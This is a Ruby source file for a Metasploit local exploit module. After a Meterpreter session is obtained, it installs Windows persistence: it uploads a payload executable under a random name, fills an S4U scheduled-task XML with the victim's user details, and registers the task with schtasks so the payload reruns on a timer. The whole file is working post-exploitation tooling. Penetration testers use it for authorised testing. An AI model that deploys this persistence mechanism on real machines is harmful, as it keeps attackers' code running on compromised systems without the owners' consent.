##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  # include Msf::Post::Windows::TaskScheduler # task scheduler doesn't have an XML create method
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/s4u_persistence'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Service for User (S4U) Scheduled Task Persistence - Schedule Trigger',
        'Description' => %q{
          Creates a scheduled task that will run using service-for-user (S4U).
          This allows the scheduled task to run even as an unprivileged user
          that is not logged into the device. This will result in lower security
          context, allowing access to local resources only. The module
          requires 'Logon as a batch job' permissions (SeBatchLogonRight).

          Creates a scheduled task to run the payload ever FREQUENCY minutes for
          the duration of EXPIRE_TIME.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', # original module
          'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # original module
          'h00die' # persistence updates
        ],
        'Platform' => 'win',
        'SessionTypes' => [ 'meterpreter' ],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'Targets' => [ [ 'Windows', {} ] ],
        'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post
        'DefaultTarget' => 0,
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20131103174249/https://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
          [ 'URL', 'https://web.archive.org/web/20250625082052/http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ],
          [ 'URL', 'https://web.archive.org/web/20131123075026/http://msdn.microsoft.com/en-us/magazine/cc188757.aspx' ],
          ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK]
        ],
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptInt.new('FREQUENCY', [false, 'Frequency in minutes to execute', 60]),
        OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
        OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
      ]
    )
  end

  def writable_dir
    d = super
    return session.sys.config.getenv(d) if d.start_with?('%')

    d
  end

  def check
    version = get_version_info
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
    return CheckCode::Safe('This module only works on Vista/2008 and above') unless version.build_number >= Msf::WindowsVersion::Vista_SP0

    return CheckCode::Appears('Target is likely exploitable')
  end

  ##############################################################
  # Generate name for payload
  # Returns name
  def generate_rexename
    rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
    rexename += '.exe' unless rexename.downcase.end_with?('.exe')
    rexename
  end

  ##############################################################
  # Generate Path for payload upload
  # Returns path for XML and payload
  def generate_paths(rexename)
    # Generate a path to write payload and XML
    path = writable_dir
    xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
    rexe_path = "#{path}\\#{rexename}"
    return xml_path, rexe_path
  end

  ##############################################################
  # Upload the executable payload
  # Returns boolean for success
  def upload_rexe(path, payload)
    vprint_status("Uploading #{path}")

    if file? path
      fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
    end

    begin
      write_file(path, payload)
    rescue StandardError
      fail_with(Failure::Unknown, "Could not upload to #{path}")
    end

    print_good("Successfully Uploaded remote executable to #{path}")
  end

  ##############################################################
  # Creates a scheduled task, exports as XML, deletes task
  # Returns normal XML for generic task
  def create_xml(rexe_path)
    xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
    xml_file = File.new(xml_path, 'r')
    xml = xml_file.read
    xml_file.close

    # Get local time, not system time from victim machine
    begin
      vt = client.railgun.kernel32.GetLocalTime(32)
      ut = vt['lpSystemTime'].unpack('v*')
      t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
    rescue StandardError
      print_warning('Could not read system time from victim... Using your local time to determine creation date')
      t = ::Time.now
    end
    date = t.strftime('%Y-%m-%d')
    time = t.strftime('%H:%M:%S')

    # Put in correct times
    xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")

    domain, user = client.sys.config.getuid.split('\\')

    # Put in user information
    xml = xml.sub(/DOMAINHERE/, user)
    xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")

    xml = xml.sub(/COMMANDHERE/, rexe_path)
    return xml
  end

  ##############################################################
  # Takes the XML, alters it based on trigger specified. Will also
  # add in expiration tag if used.
  # Returns the modified XML
  def add_xml_triggers(xml)
    # Change interval tag, insert into XML
    minutes = datastore['FREQUENCY']
    xml = xml.sub(/<Interval>.*?</, "<Interval>PT#{minutes}M<")

    # Insert expire tag if not 0
    unless datastore['EXPIRE_TIME'] == 0
      # Generate expire tag
      end_boundary = create_expire_tag
      # Inject expire tag
      insert = xml.index('</StartBoundary>')
      xml.insert(insert + 16, "\n      #{end_boundary}")
    end

    xml
  end

  ##############################################################
  # Creates end boundary tag which expires the trigger
  # Returns XML for expire
  def create_expire_tag
    # Get local time, not system time from victim machine
    begin
      vt = client.railgun.kernel32.GetLocalTime(32)
      ut = vt['lpSystemTime'].unpack('v*')
      t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
    rescue StandardError
      print_error('Could not read system time from victim... Using your local time to determine expire date')
      t = ::Time.now
    end

    # Create time object to add expire time to and create tag
    t += (datastore['EXPIRE_TIME'] * 60)
    date = t.strftime('%Y-%m-%d')
    time = t.strftime('%H:%M:%S')
    end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
    return end_boundary
  end

  ##############################################################
  # Takes the XML and a path and writes file to filesystem
  # Returns boolean for success
  def write_xml(xml, path, rexe_path)
    if file? path
      delete_file(rexe_path)
      fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
    end
    begin
      write_file(path, xml)
    rescue StandardError
      delete_file(rexe_path)
      fail_with(Failure::Unknown, "Issues writing XML to #{path}")
    end
    print_good("Successfully wrote XML file to #{path}")
  end

  ##############################################################
  # Takes path and delete file
  # Returns boolean for success
  def delete_file(path)
    rm_f(path)
  rescue StandardError
    print_warning("Could not delete file #{path}, delete manually")
  end

  ##############################################################
  # Takes path and name for task and creates final task
  # Returns boolean for success
  def create_task(path, schname, rexe_path)
    # create task using XML file on victim fs
    create_task_response = cmd_exec("cmd /c \"schtasks /create /xml \"#{path}\" /tn \"#{schname}\"\"")
    if create_task_response =~ /has successfully been created/
      print_good("Persistence task #{schname} created successfully")

      # Create to delete commands for exe and task
      @clean_up_rc << "execute -f cmd.exe -a \"/c schtasks /delete /tn #{schname} /f\"\n"
      @clean_up_rc << "rm \"#{rexe_path}\"\n"

      # Delete XML from victim
      delete_file(path)

    elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
      # Clean up
      delete_file(rexe_path)
      delete_file(path)
      error = 'The scheduled task name is already in use'
      fail_with(Failure::Unknown, error)
    else
      error = 'Issues creating task using XML file schtasks'
      vprint_error("Error: #{create_task_response}")
      if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
        print_warning('Security log can restricted by UAC, try a different trigger')
      end
      # Clean up
      delete_file(rexe_path)
      delete_file(path)
      fail_with(Failure::Unknown, error)
    end
  end

  def install_persistence
    payload = generate_payload_exe
    rexename = generate_rexename

    # Generate path names
    xml_path, rexe_path = generate_paths(rexename)

    # Upload REXE to victim fs
    upload_rexe(rexe_path, payload)

    # Create basic XML outline
    xml = create_xml(rexe_path)

    # Fix XML based on trigger
    xml = add_xml_triggers(xml)

    # Write XML to victim fs, if fail clean up
    write_xml(xml, xml_path, rexe_path)

    # Name task with Opt or give random name
    schname = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))

    # Create task with modified XML
    create_task(xml_path, schname, rexe_path)
  end

end
